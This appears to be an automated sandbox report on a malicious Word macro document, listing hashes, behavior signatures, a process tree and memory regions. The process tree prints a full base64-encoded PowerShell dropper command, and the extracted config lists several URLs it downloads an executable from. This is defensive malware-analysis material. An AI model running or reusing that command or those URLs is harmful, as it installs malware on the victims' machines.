Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 03:31

General

  • Target

    65dc4acf6535446540416dbe5e1949b5_JaffaCakes118.doc

  • Size

    199KB

  • MD5

    65dc4acf6535446540416dbe5e1949b5

  • SHA1

    69a391f2c5c2ab0393d3624a405f5b8ca92bddb3

  • SHA256

    e9d36b9583acfc91bf20d7a91163677669d0aeeb4ee2faf41209c52a8036c03e

  • SHA512

    d826dd5b2e11c4008fa5083bf18400ea1a1c43582ede8ec7211d70fd708a2d13bd9aacb5f68b6f489b6da6d06493beb7bfdfe5f6daf92d505ae1ebb1508b8c55

  • SSDEEP

    3072:9WKWj22TWTogk079THcpOu5UZS5EcbWD+uzp:y/TX07hHcJQoEcKDNzp

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://haymetetrading.com/wp-includes/yGELKj4/

exe.dropper

http://simofferbd24.com/wp-includes/fsiQc/

exe.dropper

http://401kplansinfo.com/cgi-bin/KtFRk/

exe.dropper

http://fidelityguide.com/cgi-bin/VA/

exe.dropper

https://sirnakmidyeci.com/wp-includes/qk9wW2/

exe.dropper

https://subitocarne.com/wp-content/ByeOAt9/

exe.dropper

https://eliesalibaarchitect.com/wordpress/T/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\65dc4acf6535446540416dbe5e1949b5_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2868
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2884
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -en JABVAGUAdgB3AHoAZwB6AD0AKAAoACcAQgAnACsAJwBrAG4AdAAnACkAKwAoACcANAA1ACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAE4AVgA6AHUAcwBFAHIAcAByAE8ARgBpAGwAZQBcAHkAdgAzAFcAbQA5AGcAXAB3AFoATgA3ADgAZQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwBUAG8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAGAAVABZAFAAYABSAE8AdABPAEMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAnACkAKwAnACAAdAAnACsAKAAnAGwAJwArACcAcwAxADEALAAgAHQAJwApACsAJwBsACcAKwAnAHMAJwApADsAJABRADMAeQB3AGkAbwBvACAAPQAgACgAKAAnAFQAJwArACcAaQBpACcAKQArACgAJwAwACcAKwAnAGIAYwAnACkAKwAnAHAAJwApADsAJABFAGYAZQA1AHEAegA5AD0AKAAnAFcAJwArACgAJwB6ACcAKwAnADUAZAA0ACcAKQArACcANABlACcAKQA7ACQAQgBuAHAAXwBzADUAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAGcAJwArACcAUQBXAFkAJwArACcAdgAzACcAKQArACcAdwAnACsAJwBtACcAKwAnADkAZwAnACsAKAAnAGcAUQAnACsAJwBXACcAKQArACgAJwBXAHoAJwArACcAbgA3ACcAKQArACcAOABlACcAKwAoACcAOABnAFEAJwArACcAVwAnACkAKQAuACIAcgBlAHAAYABsAGAAQQBjAGUAIgAoACgAWwBDAGgAQQByAF0AMQAwADMAKwBbAEMAaABBAHIAXQA4ADEAKwBbAEMAaABBAHIAXQA4ADcAKQAsAFsAcwBUAFIASQBOAEcAXQBbAEMAaABBAHIAXQA5ADIAKQApACsAJABRADMAeQB3AGkAbwBvACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAWABzAHQAYgB1AHgAcgA9ACgAKAAnAEcAZAAnACsAJwBlACcAKQArACgAJwB5ADcAMAAnACsAJwA5ACcAKQApADsAJABUAHIANwB5ADAAZQBnAD0AJgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABDAHgAZQBhAGsAcgBxAD0AKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6AC8ALwBoAGEAeQAnACsAJwBtAGUAdABlAHQAcgAnACsAJwBhAGQAaQBuAGcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwArACcAZABlACcAKQArACgAJwBzACcAKwAnAC8AeQBHACcAKQArACcARQBMACcAKwAoACcASwBqACcAKwAnADQALwAqACcAKwAnAGgAdAB0AHAAJwApACsAJwA6ACcAKwAoACcALwAvACcAKwAnAHMAJwApACsAJwBpAG0AJwArACcAbwAnACsAJwBmAGYAJwArACgAJwBlAHIAJwArACcAYgBkACcAKQArACgAJwAyADQALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3ACcAKwAnAHAALQBpACcAKQArACgAJwBuAGMAbAB1ACcAKwAnAGQAZQAnACkAKwAnAHMAJwArACgAJwAvAGYAJwArACcAcwBpAFEAYwAnACkAKwAnAC8AKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8ANAAwADEAawBwAGwAYQAnACsAJwBuACcAKwAnAHMAJwArACcAaQBuAGYAbwAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAaQAnACkAKwAnAC0AYgAnACsAKAAnAGkAbgAnACsAJwAvAEsAJwArACcAdABGAFIAawAvACoAJwArACcAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGYAaQAnACsAJwBkAGUAbAAnACsAJwBpAHQAeQAnACkAKwAoACcAZwB1AGkAJwArACcAZABlAC4AYwAnACsAJwBvAG0ALwAnACkAKwAnAGMAJwArACcAZwBpACcAKwAnAC0AJwArACgAJwBiAGkAbgAnACsAJwAvACcAKQArACgAJwBWAEEALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwAnACkAKwAoACcAcwAnACsAJwBpAHIAbgBhAGsAbQBpACcAKwAnAGQAeQAnACsAJwBlACcAKQArACgAJwBjAGkAJwArACcALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAJwBpAG4AJwArACcAYwAnACsAJwBsACcAKwAnAHUAZAAnACsAKAAnAGUAJwArACcAcwAvAHEAJwApACsAJwBrACcAKwAnADkAdwAnACsAKAAnAFcAMgAvACcAKwAnACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwBzAHUAYgAnACkAKwAoACcAaQB0AG8AYwBhAHIAJwArACcAbgBlACcAKQArACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwArACgAJwBwAC0AYwBvACcAKwAnAG4AdABlACcAKwAnAG4AJwApACsAKAAnAHQALwAnACsAJwBCAHkAZQBPAEEAJwArACcAdAAnACkAKwAoACcAOQAvACcAKwAnACoAaAB0AHQAJwArACcAcABzADoAJwApACsAKAAnAC8ALwBlAGwAJwArACcAaQBlAHMAJwApACsAKAAnAGEAbAAnACsAJwBpAGIAJwApACsAKAAnAGEAYQAnACsAJwByAGMAJwApACsAKAAnAGgAaQB0ACcAKwAnAGUAJwArACcAYwB0ACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAG8AcgBkAHAAcgBlACcAKwAnAHMAcwAnACsAJwAvAFQALwAnACkAKQAuACIAcwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTAHIAcAB1AGIANgA1AD0AKAAoACcASQA2AHoAJwArACcAZABfACcAKwAnAGwAJwApACsAJwByACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFEAZQBjAGcAdAA0AHkAIABpAG4AIAAkAEMAeABlAGEAawByAHEAKQB7AHQAcgB5AHsAJABUAHIANwB5ADAAZQBnAC4AIgBEAG8AYABXAG4AYABMAE8AQQBEAGYAaQBsAEUAIgAoACQAUQBlAGMAZwB0ADQAeQAsACAAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAcgBjAHQAdABuAHYAPQAoACgAJwBSAGMAJwArACcAdQBtACcAKQArACcAdQAnACsAJwBrAHgAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAEIAbgBwAF8AcwA1AHYAKQAuACIATABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMANwA5ADcANgApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABCAG4AcABfAHMANQB2ACkAOwAkAEMAbgBtAG4AdgAxAGIAPQAoACcARQAxACcAKwAoACcAegAwAG4AYwAnACsAJwA5ACcAKQApADsAYgByAGUAYQBrADsAJABFAHUAbwA4AG8AaABuAD0AKAAnAFcAJwArACgAJwA3AF8AbAByACcAKwAnADQAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBtADgAMABmAHYAdAA9ACgAKAAnAEEAJwArACcANgBtACcAKQArACcAeAA3ACcAKwAnAHYAbAAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2484

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      7a2748afb1a2e5bdf3745b842597b640

      SHA1

      449c23068fd681b263ff624bd19b6ff28918d1c5

      SHA256

      8e9e14bfa517938ac34cb4e652dbcebbf82d5bdd66f2b6f4121fe2d3b3c914a1

      SHA512

      807f5277ae8e6d3456e447173765285d6e833f203c102905d62b848ce1e27c1d10c38b3747b85495582189641fe35ba460bf066452252b441ac9bd63e01c35a5

    • memory/2484-39-0x000000001B5D0000-0x000000001B8B2000-memory.dmp
      Filesize

      2.9MB

    • memory/2484-40-0x0000000001DE0000-0x0000000001DE8000-memory.dmp
      Filesize

      32KB

    • memory/2868-14-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-9-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-13-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-27-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-10-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-11-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-12-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-21-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-22-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-20-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-19-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-18-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-16-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-17-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-15-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-0-0x000000002FA51000-0x000000002FA52000-memory.dmp
      Filesize

      4KB

    • memory/2868-8-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-26-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-7-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-29-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-32-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-31-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-30-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-28-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-25-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-24-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-23-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-33-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-6-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-2-0x000000007180D000-0x0000000071818000-memory.dmp
      Filesize

      44KB

    • memory/2868-45-0x000000007180D000-0x0000000071818000-memory.dmp
      Filesize

      44KB

    • memory/2868-46-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-48-0x00000000005F0000-0x00000000006F0000-memory.dmp
      Filesize

      1024KB

    • memory/2868-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2868-64-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/2868-65-0x000000007180D000-0x0000000071818000-memory.dmp
      Filesize

      44KB